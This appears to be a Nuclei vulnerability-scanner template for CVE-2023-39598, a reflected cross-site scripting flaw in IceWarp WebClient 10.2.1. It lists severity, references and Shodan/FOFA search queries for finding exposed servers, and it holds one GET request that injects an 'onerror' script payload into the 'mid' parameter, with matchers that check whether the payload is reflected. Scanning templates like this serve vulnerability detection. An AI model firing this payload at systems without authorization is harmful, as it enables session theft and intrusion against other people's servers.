id: CVE-2023-39598

info:
  name: IceWarp Email Client - Cross Site Scripting
  author: Imjust0
  severity: medium
  description: |
    Cross Site Scripting vulnerability in IceWarp Corporation WebClient v.10.2.1 allows a remote attacker to execute arbitrary code via a crafted payload to the mid parameter.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  reference:
    - https://medium.com/@muthumohanprasath.r/reflected-cross-site-scripting-on-icewarp-webclient-product-cve-2023-39598-9598b92da49c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39598
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39598
    - https://medium.com/%40muthumohanprasath.r/reflected-cross-site-scripting-on-icewarp-webclient-product-cve-2023-39598-9598b92da49c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39598
    cwe-id: CWE-79
    epss-score: 0.56383
    epss-percentile: 0.98147
    cpe: cpe:2.3:a:icewarp:webclient:10.2.1:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: icewarp
    product: webclient
    shodan-query:
      - title:"icewarp"
      - http.title:"icewarp"
    fofa-query: title="icewarp"
    google-query: intitle:"icewarp"
  tags: cve2023,cve,xss,icewarp,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/webmail/?mid={{to_lower(rand_base(4))}}"><img src=x onerror=confirm(document.domain)>'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<img src=x onerror=confirm(document.domain)>"
          - "icewarp"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502203ca1e97c31da43c2405b99150c1094dd2e58ad35d91eda01bba116ba2766ff57022100989a16686f7836858648c1695b33b1e25ea93203e1a4326e88b27b21ea490626:922c64590222798bb761d5b6d8e72950